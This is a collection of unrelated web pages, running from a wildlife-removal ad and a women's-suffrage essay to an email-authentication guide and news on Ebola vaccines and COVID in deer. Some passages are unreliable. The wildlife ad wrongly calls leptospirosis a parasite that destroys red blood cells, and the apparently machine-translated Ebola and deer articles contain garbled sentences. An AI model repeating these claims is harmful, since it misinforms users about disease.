Not only are bat and raccoon poop unsightly, it also poses health hazards to your family. Guano or urine from these animals, may contain high levels of fungus spores that can cause lung disease like Histoplasmosis. Raccoon scats may have Leptospirosis, a dangerous parasite that causes organ damage by destroying red blood cells. Professional animal control specialists can help prevent you from coming in contact with bats or raccoon waste. Experts wear protective clothing when cleaning out an attic to prevent inhalation of mold spores.
AAAC Wildlife Control has been in the business for many years and knows how important a negative air system is during remediation. You can rest assured that your attic will be cleaned without any risk to you or your family.
Our HVAC technicians are also experts in decontaminating your HVAC system and air ducts. As mold and bacteria can easily spread from HVAC systems to the rest of the house, it is best that professionals handle this task. AAAC Wildlife Control performs thorough decontamination by utilizing HEPA vacuums, specialized detergents, and even UV technology in very tight crawlspaces.
Gutter & Soffit Repairs
Raccoons and squirrels are great at making the most of what little they have. Their favorite way to get up onto your roof is through gutters. Once inside, gutters provide a pathway for pests like birds and rats to nest in your fascia or soffit. Openings in those areas invite rodents that chew through wires which can lead to potential fires – don’t let this happen at home. Repair damaged gutters right away!
AAAC Wildlife Removal has both the resources and the experience to restore your gutter system. Our specialists are experts in wildlife removal and repair of any damage that might have been caused by wild animals.
Ridge Vent Guards Installation
The ridge is the highest point on your roof, it runs along the side of your house. It does a simple job: It regulates the temperature and humidity in your attic. Ridge vents are big enough for bats to fit through. An expert animal damage restoration crew is required to remove them without causing any structural damage to your home. AAAC Wildlife Removal has many years of experience dealing with wildlife removal. This includes ventilation system damage repair and replacement.
Animal Damage Roof Repair
Wildlife loves to enter the roof. You may see shingles, scraps strewn everywhere, holes of various sizes on the lawn or rubbish that has been chewed into the soffit. Most bat damage is done by their urine or guano.
This creates another problem: water damage caused by animal feces and urine getting into the building’s framing materials like wood sheathing, which is what gives strength to walls. Failure to act quickly will result in compromised structural integrity. Our animal damage control professionals are trained in roof reconstruction related to wildlife damage including removing damaged material and insulation.
We are skilled in the repair of leak barriers, underlayment, sheathing as well as repair and replacement of damaged shingles, roofing, soffits, and attic ventilation.
Total Wildlife Control Solutions
If you have been experiencing any of the issues we discussed or are just interested in learning more about how to protect your home from wildlife damage, please contact us! Our team can assist you with all aspects related to animal removal and repair. We want to ensure you have a safe environment. We will close any holes left in soffits that are chewed by the animals, as well as any other openings, such as vents or windows where bats can enter.
We are also skilled at Commercial Wildlife Control
Our restoration specialists will clean up any infestations that have already occurred and install new materials to prevent them from happening again. Call us today! | <urn:uuid:62041ffb-6fa3-4aa6-a621-812049cffb2b> | CC-MAIN-2022-33 | https://salt-lake-city.aaacwildliferemoval.com/services/wildlife-damage-repair-salt-lake-city/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.946686 | 1,397 | 1.875 | 2 |
Solar Cells Get Growth Boost
Researchers at the Okinawa Institute of Science and Technology Graduate University's (OIST) Energy Materials and Surface Sciences Unit have found that growing a type of film used to manufacture solar cells in ambient air gives it a growth boost. The finding, which could make manufacturing solar cells significantly cheaper, was published in Chemistry of Materials.
The type of material is called Perovskite. Since the discovery of its application in harvesting light for electricity in 2009, research on solar cell application has skyrocketed. Fabrication techniques are being developed around the world to improve their power conversion efficiencies. The OIST study gives perovskite solar cells another shot in the arm by making the materials easier to mass produce.
Earlier studies had concluded that exposing perovskite films to ambient air was detrimental because moisture reacted with perovskite, which degraded over time. It was therefore believed the material had to be prepared using a heat treatment called annealing in a water-free environment.
OIST researchers set out to investigate the effects of moisture on perovskite formation during 45 minutes of annealing, at temperatures between 105 and 125 degrees centigrade. They grew a type of perovskite that has been shown to work better for solar cells
. Then, they compared the Perovskite film's formation in a nitrogen atmosphere with its formation in humid air and found that the films actually receive a growth improvement resulting in larger grain sizes than usual in the presence of moisture. The film grows slowly, so larger grains can form.
"Larger grain sizes mean the crystals on the film is more continuous, and the electrons passing through the film face fewer interruptions," said Sonia Ruiz-Raga, the study’s first author.
Larger grains make perovskite solar cells more efficient. The highest efficiency achieved by the study was 12.7 percent. While other teams have achieved higher efficiencies, the OIST result ensures that future industries need not invest in expensive climate control machinery to keep the moisture down to one part per million. Air annealing costs nothing.
Overall, 12.7 percent efficiency is by no means the ceiling for this fabrication technique and it is possible to obtain even larger grain sizes. While global research and development to boost solar cell efficiencies continue, these results potentially provide a way to jumpstart industry.
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By properly measuring the Organizational culture, one can understand also the following:
Please Read These Before You Hire Us
We use Culture as a way to understand group behavior, to understand the tendencies people have in a particular group be that a department, organization, or a neighborhood, city or country. We focus on using Culture in a way to drive in a tangible manner the Group behavior towards a more constructive side.
Culture is just a METRIC that allows us to understand the behaviors of any group of Humans.
Culture is a metric which allows us to understand the tendencies a group of humans have in comparison to other groups of humans.
Yes. National culture allows us to understand the tendencies of a particular group of humans, while Organizational Culture allows us to predict the success of the company they work for.
No. The simplest way to understand it is to imagine that one would export the good behaviors of a human personality to a different human personality.
If done in the right way, they can take between 6 to 18 months, depending on the Organization’s starting situation.
Not if they are done by professionals. Yes, if they are done by “travelers” that unconsciously convey just the stereotypes.
No. Social media is actually adding to the complexity of the concept of “living together”, because individuals chose to identify with groups’ doctrines based on external attributes that they share. | <urn:uuid:42b18163-88e2-4dc6-8c63-fa69df4b85ba> | CC-MAIN-2022-33 | https://reliableculture.com/faq/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.93269 | 291 | 2.1875 | 2 |
This guide explains how to build a simple USB Analogue Joystick with optional accessibility switch sockets for use with PCs and Macs.
On a Windows PC the functions of this controller can be set to any mouse or keyboard function using JoyToKey. All kinds of functions can be assigned to the buttons including latching, auto-fire and profile switching. Using a Windows PC and Cronus Max adapter this can also be used on the Playstation 3, Xbox 360 and Xbox One as is or with additional controls.
If you're an absolute beginner, we strongly recommend that you follow "The Basic Soldering Guide" - by Alan Winstanley.
SAFETY: Always use DIY equipment under responsible supervision where appropriate, and disconnect power when not in use. These adaptations are at your own risk. Good luck!
Most of the basic components used here are commonly available from Electronics stores such as Maplin Electronics and Farnell. The Ultra-Stik 360 is available from Ultimarc along with the free configuration software.
1x Box (try searching the likes of eBay for "ENCLOSURE 150 X 100 X 60MM"). A heavy duty version might be the Hammond 1455N1601 (160 x 103 x 53mm) needing M3.5 / M4 bolts to secure.
The Ultramap utility which you can download freely from Ultimarc allows you to change the function of the joystick. Choose "Analog" for compatibility with JoyToKey and additional switch sockets. Choose "Mouse" if you'd like the joystick to act as a mouse pointer alone.
This is a good time to work out where UP and DOWN are on your joystick. Mark or Scribe the UP position onto the base of the joystick to help you later.
Drilling holes neatly needs time and patience at this stage:
Joystick (1x 15mm main hole and 4x 3.5mm mounting holes): Measure to the precise centre of the top of the box then make a pilot hole. Drill a 15mm hole in the dead centre of the top of the box (you may need a corded drill for a drill bit this size or an adapter). Next use four bits of blue-tack to position your joystick as centrally as you can. Mark four pilot holes through the underside and drill 4x 3.5mm holes.
USB cable exit hole: Simple way is to make a central 4mm pilot hole for the USB wire as pictured. Use files to fit. Alternatively, perhaps a 10mm hole for a DM2 strain relief grommet 6mm up.
Optional Switch Sockets: Make pilot holes for your 1-8 switch sockets then drill 7.5mm holes for each (if using Pro-Signal sockets). I find using a bit of blue-tack helps me line the sockets up as I want them.
Secure the joystick using 4x M3 nuts and bolts with washers. Tighten using pliers and a screw-driver ensuring that the joystick is as central as possible, with no restiction when you move it in all directions. Consider hot-glueing the nuts into position when finished.
Connect the USB cable to the Ultra-Stik PCB and then secure the cable to the case using a "P-clip" as pictured.
Up to eight on/off switches or switch sockets can be directly wired to the PCB. The five pins nearest the outer edge of the PCB from left-to-right are GND, 2, 4, 6, 7. The pins below them are 1, 3, 5, 8.
If using the Ultimarc connector, the colours are likely:
1 - BROWN
2 - RED
3 - ORANGE
4 - YELLOW
5 - GREEN
6 - BLUE
7 - PURPLE
8 - GREY
GND - BLACK
You can quickly test these using the Joystick controller utility in Windows (see Testing below).
Optionally hot-glue your wiring in place to give extra strength to the connection.
Fit some velcro on the base of the joystick and/or feet to increase the stability. I recommend Maxcess or Trabasack mount systems.
Hold the Windows key + "S", type "USB", click on "Setup USB game controllers, then double-click on 'Ultimarc Ultra-Stik Player 1'). Test your joystick and buttons are functioning correctly. Inspect your soldering if there are problems. Try reprogramming the joystick as something else, then back to "Analogue" via the Ultimarc utility if there are any USB connection faults.
D.I.Y. Text and images PUBLIC DOMAIN 2014, 2018 - www.OneSwitch.org.uk | <urn:uuid:2a6a9584-3eda-4a0f-a956-92e8715c0e97> | CC-MAIN-2022-33 | https://oneswitch.org.uk/page/diy-ultrastik | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.870563 | 972 | 1.671875 | 2 |
“There will be no more domestic tranquility in this nation if woman suffrage comes,” said Alabama Congressman J. Thomas Heflin in 1913. “Pandemonium will reign.” To the women fighting for the right to vote in the 1910s, such arguments were not surprising. Men made all sorts of wild claims about the “catastrophe” that would follow an amendment granting women the right to vote.
And so did some women. Anti-suffrage women — anti’s for short — usually came from a background of privilege that didn’t require them to work. They were not only self-serving, though. As social leaders, many of these women were dedicated to philanthropy and promoting reform, but they achieved their results without entering the world of politics and didn’t feel as though they were working against their own self-interest.
Mrs. Josephine Jewell Dodge, for example, established the National Association Opposed to Women Suffrage. But she also set up a free childcare center to serve working mothers in an impoverished section of New York. Mrs. Annie Nathan Meyer was a co-founder of Barnard College. Yet she believed that women, were they allowed to vote, would “lose their womanly qualities” in their pursuit of careers.
Kate Douglas Wiggin, author of Rebecca of Sunnybrook Farm, worked to promote the welfare of children and launched the first free kindergarten in San Francisco. But she told a Congressional committee on women’s suffrage, “If woman is as strong as she ought to be, she should be called continually in council to advise, to consult, and cooperate with men wherever her peculiar gifts are valuable. If she enjoys and uses these rights and privileges, she does not need the ballot.”
Opposition to women’s suffrage collapsed when the 19th Amendment was ratified on August 18, 1920. Many of the anti’s moved on to other causes. But some, like Eleanor Franklin Egan, a former war correspondent for the Post, changed their minds about suffrage.
In “Women in Politics to the Aid of Their Party,” Egan admitted she’d been wrong to oppose women’s suffrage. And she’d been wrong about the women who had done the hard work of winning her rights, and who were now working hard to win victory for their political parties.
Women in Politics to the Aid of Their Party
By Eleanor Franklin Egan
Excerpted from an article originally published on May 22, 1920
I happen to be one of the vast majority of women who had nothing whatever to do with the long struggle which is to result in the Nineteenth Amendment. If I had any feeling at all with regard to suffrage for women, it was a feeling of opposition. I did not believe the average woman would accept the responsibilities that go with active and direct participation in government and was afraid the privilege would be exercised chiefly by a few zealots and a class of women whose qualifications for responsible citizenship are too limited to make them desirable as contributing factors in the conduct of the country’s affairs. I thought there were enough undesirables already enfranchised, and permitted my imagination to dwell on the danger of adding to their ranks rather than minimizing this danger, and thinking principally of the good which might be accomplished by providing reinforcements for the ranks of the politically intelligent and righteously inclined. I knew that if the vote were thrust upon me — as my kind of woman was in the habit of saying — that I should use it, but I believed I should do so reluctantly and with a feeling that I was discharging a serious and disagreeable obligation rather than taking advantage of a precious privilege.
The trouble with me was that I did not think far enough. My vision was restricted by old-fashioned conservatism and prejudice, and in common with millions of other women in the country I ran eventually into a blind alley of platitudinous argument on the subject and stayed there while the procession went by.
How Will the Women Vote?
I am not proud of my record of indifference, but on the contrary am inclined to be somewhat regretful when I consider that the women engaged in organized opposition to this most momentous movement in the history of social progress have been able always to use me and my numerous kind as convincing examples to point their contention that women did not want to vote and were being railroaded into politics by a fanatic and clamoring minority. I feel like apologizing to the women of the combat battalions who have done all the fighting and who now bear all the scars.
What I did not observe from my blind alley of conservatism was that the millions who were not being heard from, those of the great mass who never are heard from, were watching the progress of events with a deep concentration of thoughtful attention. If this were not true, the great mass would not now be so intelligently prepared to discharge the duties and so willing to accept the burdens of complete and responsible citizenship. While the doughty old suffs were engaged in storming and undermining the stronghold of man’s most sacred monopoly, they were at the same time lighting up the dark in the minds of their sisters with luminant shafts of political information and inquiry into social conditions which women, given the power, could help to improve — the result being that the average enfranchised woman of today not only rejoices in her new privilege but knows definitely why she rejoices.
To be sure, there are still a few who think in terms of opposition and declare that nothing can ever induce them to go to the polls; but they are a negligible quantity, and so far as my own observation goes are usually of the soft and mentally lazy type which modern progress is very rapidly rendering obsolete. They have few troubles of their own and take very little interest in the troubles of others. The only consciousness they have is class consciousness, and they do their thinking as a rule within the narrowest possible limits. They can never do the great causes of forward-looking humanity any real harm.
When the Nineteenth Amendment goes into effect, there will be 27,000,000 women voters! And there are 17,000,000 of us even now! This being according to the statistics relied upon by the women’s division of the Republican National Committee. Is it any wonder the men want to make a magic that will induce us to line up and declare ourselves? Unless they can gauge the degree of purely partisan allegiance for which we can be counted upon they are likely to make some fatal mistakes in their party management.
I do not mean to imply that women as a rule have not made their choice of party. They have; and it is an interesting fact that, regardless of what her husband’s politics may be, a woman usually begins by declaring adherence to the political faith of her father, the difficulty being that she adheres with reservations which denote in her an incorrigible independence. Very few women failed to register and vote in the 1919 elections, and of course they had to enroll on one side or another. But there is considerable doubt expressed as to whether any woman can be depended upon to stay put and to place party allegiance above personal preference as to candidates and conviction as to policies.
In the city of New York, the women voters enrolled are unequally divided among the Socialist, the Democratic, and the Republican parties, with the Democratic Party considerably in the lead; but the 1919 enrollment offers no assurance to anyone in the present situation. …
Much Work but No Plums
I talked with a number of women who are actively engaged in the service of the party and who devote practically their entire time to the work. When I mentioned the splendid privilege of equal participation with the men in party activities and benefits, I got a shock. It was like touching a live wire which one had every reason to believe was perfectly insulated, only to discover that it was not. I supposed of course that women in close touch with the party organization would at least pretend to be fully satisfied with the position which had been so skillfully outlined for them. But they do not; not among themselves at any rate. I was to learn that when a woman becomes a seasoned politician of the professional type; she is seasoned with the same seasoning that seasons men, and begins to think in terms of control through patronage and all that sort of thing. Some of these women displayed as clear a conception as any man could have of the vast system of rewards by which parties are supposed to be held intact, and it was a sore point with them that, though they were granted equal liberty with the men to work themselves to death for the party if they wanted to, they were not to expect to be among those present when it came to the distribution of its plums. They might help build the fences, but they must keep out of the orchard. All of which line of talk goes to show that the men have made a great mistake. They never should have given in. They should have kept the women where women belong.
It is a fact that the women of New York are not talking about anything now but politics and candidates. For more than four years they kept up a steady flow of conversation about the war, and every woman — from those who shine at the top of the social ladder to those who cling to its bottom-most foothold — was engaged in some kind of war work through which, all unconsciously perhaps, she was developing a sense of personal importance in the general scheme of things. With the war finished, these same women now plunge headlong — and with thankfulness in their hearts, no doubt, for something interesting to do — into the maelstrom of political discussion and competition. The arena of political combat used to be an island of unrighteousness wholly surrounded by brass rails, bottles, bartenders, and beer; but, along with the bottles, politics has been transferred to the home.
It may be that the men of the country are taking some interest in the political situation, but to the casual observer it looks as though the women were assuming the lion’s share of responsibility for it. This may be due to a number of things, but primarily I think it is due to the fact that men are capable of harboring thoughts and beliefs that they can get along without expressing. If political discussion should suddenly be forbidden, women would drop out of politics overnight. It is just that it is so grand to be something definite and effective, not to say dangerous! My, how women do enjoy being dangerous!
Yet curiously enough — make no mistake about it — a vast number of women are intelligently interested in and really anxious to understand the problems that confront us. I said, to begin with, that the women of the great mass — and it would be folly to pretend that the average woman has a trained and analytical mind — the women of the great mass are thoughtful about it all and closely attentive to the serious consideration attending their citizenship. And I believe this. On the other hand, a great many women have all the time there is unless they happen to be terrifically busy doing something equally as unimportant as anything else they might be able to do. And that is another variety.
Take me, for instance, sitting here writing this article, with a political tea which I promised to attend going on at the house of a friend not three blocks away. Every afternoon somebody one knows — or somebody who knows somebody who has met somebody one knows — invites one to a political tea in the interest of some candidate. And as for dinner parties, there is no such thing anymore. A dinner party is just another kind of political meeting. And the way the telephone is kept going makes life one continuous jangle. Perfect strangers call one up at all hours to ask one to sign a petition for this, that, or the other candidate; to contribute to a fund; to attend a meeting; to lend one’s house for a tea; to do a bit of canvassing; to become a member of a committee; to buy a button; to read something or other in some magazine about someone in particular; to write a letter to the newspapers; to do any one of a thousand things.
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Major brand designer Ralph Lauren Corp. has led a $13 million round of funding in Illinois-based Natural Fiber Welding (NFW).
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NFW develops technology that can use plants and natural fibers to make textiles and other durable items. The company aims to eliminate finite resources like petroleum from the supply chain, and plastic from the textile industry.
The new round brings NFW’s total funding to $25 million, according to a company spokeswoman. Central Illinois Angels, Prairie Crest Capital and other prominent business and investment leaders from the Peoria, Illinois area also participated in the round.
“We have evolved and progressed our business for more than 50 years because we constantly push ourselves to think openly and differently about how to approach challenges,” Ralph Lauren VP and chief innovation officer David Lauren said in a statement. “Today, sustainability is an area where this is especially important, and investing with partners to scale innovative solutions is a key part of our sustainability strategy.”
Ralph Lauren is planning on increasing its use of “post-consumer cotton” as it works toward sourcing all of its key materials by 2025 and incorporating zero-waste principles across the company, according to the statement. The investment and partnership with NFW will also help Ralph Lauren lower its reliance on non-biodegradable synthetic materials.
Clothing manufacturers typically can’t use recycled cotton for new cotton clothing because the recycling process creates short fibers, according to the statement. NFW’s technology has been able to turn the short fibers into longer fibers to create cotton fiber yarn.
NFW, which was founded in 2015, is based in Peoria, Illinois.
Illustration: Li-Anne Dias
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A reader has a question about what email service to use:
I help a small nonprofit and have decided to start a quarterly email newsletter, so we can keep in touch with our supporters. My question is this: What email service you would recommend? I have issues with Google, I don’t think Yahoo or Hotmail or AOL sound very professional. We have a website with [a local provider], but I don’t like their email service.
I’d like a few features, like being able to forward incoming mail or maybe import contacts from Excel. Also, I’d like something free if possible — or at least inexpensive — and it would be really great if we could use our own domain name. Do you have any suggestions for us?
Thanks for this e-newsletter — and thanks in advance for your help!
Dorrie isn’t asking about what sort of Email Service Provider to use (such as AWeber or Mailchimp), but rather what email address to use as a “From” address in the emails sent by her non-profit’s ESP. To be clear, when you send a message through an ESP, the “From” address on the emails is yours, not theirs: you set where the message comes “From” when you set up your list. Even if you generally use Gmail or another free mail service, you should not use a free service email address as your From address, such Yahoo, Hotmail, or AOL (or any other free email service). In fact, the better ESPs warn against using such addresses, or even prohibit it entirely, and here’s why.
More and more email providers are using an authentication method called DMARC (Domain-based Message Authentication, Reporting and Conformance) which is designed to detect and prevent email “spoofing” (sending from an address that’s not yours — a common spammer tactic). Spoofing has benevolent uses too: it’s exactly what ESPs do when sending out mail on your behalf. DMARC provides a protocol to allow a email account providers a way to check that incoming mail from a domain is authorized by that domain’s administrators.
The DMARC standard was set in early 2012, and within a year was protecting about 60 percent of all email inboxes. By 2014, Yahoo (for one) changed its DMARC policy to reject mail that doesn’t comply — in other words, if a mailing list uses Yahoo as a From address, the mail won’t get through to anyone on Yahoo. Many other email services have followed their lead. So even if your ESP allows it, you don’t want to use such an address since a large portion of your messages simply won’t get to the recipients’ inboxes.
So how do you get (say) Yahoo to “authorize” you to use your Yahoo address on messages sent through an ESP? You don’t. End of story! So the simple solution is, use your own domain-based address for all outgoing list-based messages.
Is that bad news for Dorrie, who doesn’t like her local provider’s email service? Not at all. She can still use the free email provider of her choice, such as Gmail, and get responses there. In turn, she can set up Gmail to also show that her individual emails are “From” her domain-based account when she replies.
Wait… I’m Lost
Let’s unwind this with specifics. Let’s say Dorrie’s non-profit’s web site is at Example.org, and the account she actually uses to read and send individual messages is email@example.com. She can set up her list at her ESP to send “From” firstname.lastname@example.org, and set up a mailbox on her web host for that address. She’d then set Gmail to check for mail there (and, incidentally, spam-filter it for her!), and also set up Gmail to send mail “From” email@example.com even though she’s using the Gmail web interface, or her phone, to read and send mail. (Setup details from Gmail help. Other mail services such as Yahoo and AOL should have similar abilities.) This is, in fact, exactly what I do with my mail, because Gmail’s spam filtering is so good.
Sending mail “from” your own domain, rather than a free mail service, looks more professional, too, just as Dorrie suggested. I mean really: how much would you respect Amazon if their customer service address was @Hotmail.com? A business or non-profit site that uses a free email service screams “amateur” and “clueless”. Don’t do it!
Extra Nerdy Tip!
You also want to set up an SPF (Sender Policy Framework) record in your DNS to designate your ESP as an authorized sender for your domain. For instance, Emailified has this SPF record:
v=spf1 a mx include:aweber.com ~all
Translation: SPF authorizes emailifed.com’s mail to be sent from aweber.com (our ESP) as well as my thisistrue.com server that’s specified in the “A” record (Emailified is a project of ThisIsTrue.inc).
I do understand that a lot of you are now suffering from glazed-over eyes. If that’s you, ask your tech for help. I’ll cover this in much more detail in the upcoming Emailified online course. | <urn:uuid:59a16e77-fa32-4b03-8e3d-acfdd8c7bac5> | CC-MAIN-2022-33 | https://emailified.com/your-from-address/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.933885 | 1,216 | 1.742188 | 2 |
Virtual classrooms serve as the core of online degree programs-a convenient, central location at which you can complete your university coursework. The purpose of this guide is to help you discover the best computer software that works in much the same way as a physical classroom. Learning from a virtual classroom offers many benefits that traditional college degree programs are unable to provide, though campus-based education and online education share many fundamental similarities. In this way, you can explore your options and choose the right software for your school or organization more easily.
Growth of Virtual Classroom
As a result of the pandemic, the number of online learners has increased, largely due to a shift to virtual platforms. According to a study, 21 million online learners registered under eLearning platforms in 2016. By 2020, however, the numbers had nearly tripled to 71 million, and by 2021, the number had reached 92 million
The same data also shows that the United States has the highest number of online learners, with 17.3 million percent of them being online. There are also 13.6 million people in India, 4.8 million people in Mexico, and 3.7 million in Brazil. Conversely, the top countries in terms of learner growth are emerging nations, like Paraguay with 98% growth. Lebanon came in second with 97%, followed by the Philippines with 85%.
Why Virtual Class is Important
- In recent years, virtual learning has been proving to be a very cost-effective method of saving money for students.
- You can save on transportation costs by not having to commute to campus.
- Textbooks and course materials cost more than a thousand dollars every year for the average student.
- There is often less spending on textbooks with virtual coursework since virtual resources are often used.
- Online and on-campus programs can also have different tuition costs. Financial aid is also available for most of the online programs offered by the school.
- As a result of all these savings sources, online classes can be a huge benefit in terms of cost-cutting.
- Active learning and open discussions are among the advantages of virtual classrooms.
- Several features are available to help learners engage in their learning, such as a digital whiteboard, breakout rooms, screen sharing, file annotations, video playback, and quizzing software.
- It's not uncommon for us to drift off during a webinar or even an in-person lecture. Learning becomes passive and learners stop fully absorbing everything that is available.
- Awareness that your students aren't engaged during a lecture is among the worst experiences an educator can have. If students don't get involved in their studies, they may miss deadlines, fail exams, and just feel disillusioned about the subject matter.
- Learning in a virtual classroom is made much more engaging by the interactive features. The students may be asked to participate in a quiz or even interact with a call-in pop-up. Perhaps they'll need to lead a debate.
- A virtual classroom requires active participation.
Comfortable learning space
- Learning online in a virtual classroom feels much less robotic than in an actual classroom.
- A virtual classroom ensures that learners can communicate and chat with peers and teachers without compromising their learning experience.
- Work-and-family balance with the demands of returning to school is why online education is a welcome option for working adults.
- Your commute to classes on campus will now be significantly reduced, and that's just the beginning.
- As a consequence of returning to school, you learn time-management skills through discipline and time management.
- Coursework that is integrated with technology offers a number of advantages.
- Often, you will receive immediate feedback after exams, rather than having to wait days or weeks to hear back.
- The assignments students submit in online courses are uploaded electronically for review by their professors.
- Students submit their work online and professors provide feedback via electronic means. This allows students to get feedback immediately.
- It takes a week or two for students to receive feedback on their assignments in a traditional classroom setting.
- When students receive feedback sooner, they can learn faster and make corrections to their assignments in the future.
- Virtual classes are accessible via mobile phones, and web browsers and users can participate virtually anywhere.
- As a result, virtual classrooms have become increasingly advantageous in today's world.
- It is possible for participants to access the contents regardless of their location or time zone.
- In virtual learning, students do not have to worry about commuting by school bus or cab.
- Access to virtual classes can be gained by simply opening their devices, connecting to the internet, and signing in.
How BrainCert’s Virtual Class Function
This web-based virtual classroom platform is an integral part of the BrainCert online training platform, which offers comprehensive online training. By offering its clients the opportunity to use a collaborative and scalable virtual classroom, BrainCert has been able to provide its clients with a diverse working environment in virtual classrooms.
BrainCert's live class scheduling features simple steps and aesthetics designed with intuitiveness in mind. As part of the first step, you need to select the instructor, select the data center location, enter the class title, set the date and time, set the class description, enable or disable server-side session recording, set the attendee count, select the classroom type, enable or disable webcam and microphone access, chat and screen share access, and set the date and time for the class.
Pandemic exposure has been the driving force behind online learning. Through technology, new models of developing and delivering content over the internet are driving virtual learning. Digital learning has become more personalized thanks to advanced technology and devices. Learning in a virtual environment has many benefits. Particularly BrainCert has something to offer children who are ahead of their peers when it comes to learning that is taught in schools, it is important that they take a path that keeps them challenged and allows them to learn relevant skills. | <urn:uuid:5ed29f14-e116-4725-9289-d14ee8fe69f9> | CC-MAIN-2022-33 | https://blog.braincert.com/build-a-scalable-online-tutoring-business-with-virtual-classroom-api/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.950312 | 1,236 | 2.390625 | 2 |
The fight against Ebola does not end with the vaccine
2015/01/20 Galarraga Aiestaran, Ana - Elhuyar Zientzia Iturria: Elhuyar aldizkaria
If there are no errors, the Ebola vaccine will be marketed this year or next year. Thanks to this, experts expect to control the disease. Researchers at Johns Hopkins Hospital have recalled in The Lancet magazine that the vaccine is just the first step. In fact, they consider that a series of obstacles will have to be overcome to reach a threatened population, from the decision of who should be vaccinated to the economic part.
In fact, researchers believe that it is not easy to choose who should be inserted first, or who should make that decision. To do this, they consider that the transmission of Ebola must be better known.
In addition, they warn of the need to take into account how to carry out vaccination campaigns, even more taking into account the weakness of health systems in countries with Ebola. Some key aspects have been mentioned, among which are the availability of means to maintain and give the vaccine in good condition and the training of specialists.
The researchers have also expressed concern about the safety of the vaccine. They consider that, since the rapid development of the vaccine in a crisis situation is a priority, there can be a risk of easing the safety criteria. Researchers consider it very important to ensure that it is safe and to transmit security to the population to accept the vaccine.
The researchers have left the economic aspect for the end of the article. They warn that the steps to be taken to overcome the aforementioned difficulties will increase the vaccine and propose to create new funding pathways.
Finally, it has been announced that, if the integration of Ebola is successful, it can be an example for future health crises. | <urn:uuid:c4d38808-706e-41c0-8fc5-b2e8752cb9d9> | CC-MAIN-2022-33 | https://zientzia.eus/artikuluak/ebolaren-aurkako-borroka-ez-da-amaitzen-txertoa-lo/en/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573118.26/warc/CC-MAIN-20220817213446-20220818003446-00665.warc.gz | en | 0.952989 | 370 | 2.21875 | 2 |
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COVID-19 may be transmitted back to humans from wild white-tailed deer
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COVID-19 may be transmitted back to humans from wild white-tailed deer.
40% of the COVID-19 in wild white-tailed deer? The risk of reverse infection after human transmission.
According to a report published in the Proceedings of the National Academy of Sciences (PNAS) on the 23rd of this month, 40% of wild white-tailed deer samples collected in 4 states in the United States after the outbreak of the COVID-19 epidemic in 2021 have antibodies to the COVID-19 virus, showing these white tails Deer has been infected.
This is at least the third study in this month that has achieved similar results in different ways.
It has drawn academics’ concerns that the emergence of a “natural new coronavirus pool” will make divergent evolutionary paths more likely to occur, and ultimately lead to these originals.
It should be an animal that has infected the virus from a human body and transmitted the mutated virus back to humans, adding to the ups and downs of the epidemic in the past two years.
If you remember, as early as the end of last year, there were large-scale new coronavirus infections in mink farms in Europe, and even reverse transmission of the variant virus to humans. In the end, Denmark, Spain, the Netherlands and other countries collectively slaughtered more than 18 million minks, and implemented strict blockade policies near the farms to prevent the spread.
The danger of wild “virus pools”
As mink breeding is very important for fur garments, many companies soon began to develop COVID-19 vaccines for mink.
In October of this year, Finland launched a vaccination of all mink in the country.
If the vaccine is effective, this will not only save the mink fur industry, but also prevent the mink from becoming a virus pool and infecting people in the future.
After all, mink is the only clear record. Examples of the spread of the new coronavirus from people to people.
The problem is that we can use the above-mentioned methods to effectively control the mink in the farm (especially under the premise that these animals will not appear to be anti-closure and anti-vaccine struggle like humans).
However, for the wild Animals, but we do not have the same effective way to prevent white-tailed deer such as the United States from developing into a virus pool, so that the COVID-19 virus will exist in them for a long time, mutate, and eventually even return to humans, causing another wave of epidemics.
According to the statistics of the World Organization for Animal Health (OIE) as of October 31, a total of 598 outbreaks of COVID-19 epidemics in animals have been recorded globally, all over Europe, Asia, the United States, and Africa. many. The victimized animals include cats, dogs, mink, otters, ferrets, lions, tigers, cougars, snow leopards, white-tailed deer, fishing cats, binturongs, South American raccoons, gorillas, etc.
Because these cases are mainly from animals raised by humans, the above-mentioned research on the new coronavirus infection of wild white-tailed deer in the United States has attracted special attention.
They can be regarded as the first studies in the world to assess the prevalence of the COVID-19 epidemic in the wild, and they can only be regarded as the preliminary stage.
There are still a series of questions to be studied in the future: how prevalent is the virus in the deer herd actually? Which strains are the viruses infected by white-tailed deer? Can a deer maintain the virus in the body for a long time like a bat, and will it spread a high amount of the virus?
Regardless of whether the infected white-tailed deer is capable of transmitting the virus back to humans, the results of these studies are indeed worrying.
After all, it is not easy for ordinary people to come into contact with wild deer that can only transmit the COVID-19 virus.
Vivek Kapur, the author of one of the above studies, speculated that if humans leave infected food in the wild and are found by deer, they directly pollute the wild environment (through the discharge of body fluids, etc.), which may cause human-to-human transmission of deer. Ways, especially in hunting activities.
The deer in the study have a relatively high rate of infection, and we cannot rule out that the same situation will occur in other wild mammals. But which animals are likely to be infected by humans and eventually become the new coronavirus pool?
Artificial intelligence predicts “high-risk” species
On the 17th of this month, a paper published in the Royal Society and written by a number of researchers from the Cary Institute of Ecosystem Studies in the United States tried a methodologically innovative way. Provide answers to this question.
Cary’s researchers have noticed the research potential of the fact that the ACE2 receptor is the gateway for the new coronavirus to enter human cells since the beginning of the epidemic last year.
ACE2 is used to regulate blood pressure in the human body and is found in different vertebrates.
This constitutes the possibility of the new coronavirus entering the cells of non-human vertebrates and causing infection.
The researcher’s goal is to know the cross-species infection and transmission capabilities of different species with ACE2 receptors for the new coronavirus, so as to speculate which animals are more likely to become virus pools.
As there are only more than 300 species of ACE2 receptor sequence data, it is not enough to cover the scope of the study.
The researchers first estimated the connection strength between their different ACE2 receptors and the spike protein in the periphery of the new coronavirus by using the known sequence and the model to estimate their cross-species infection and transmission capabilities.
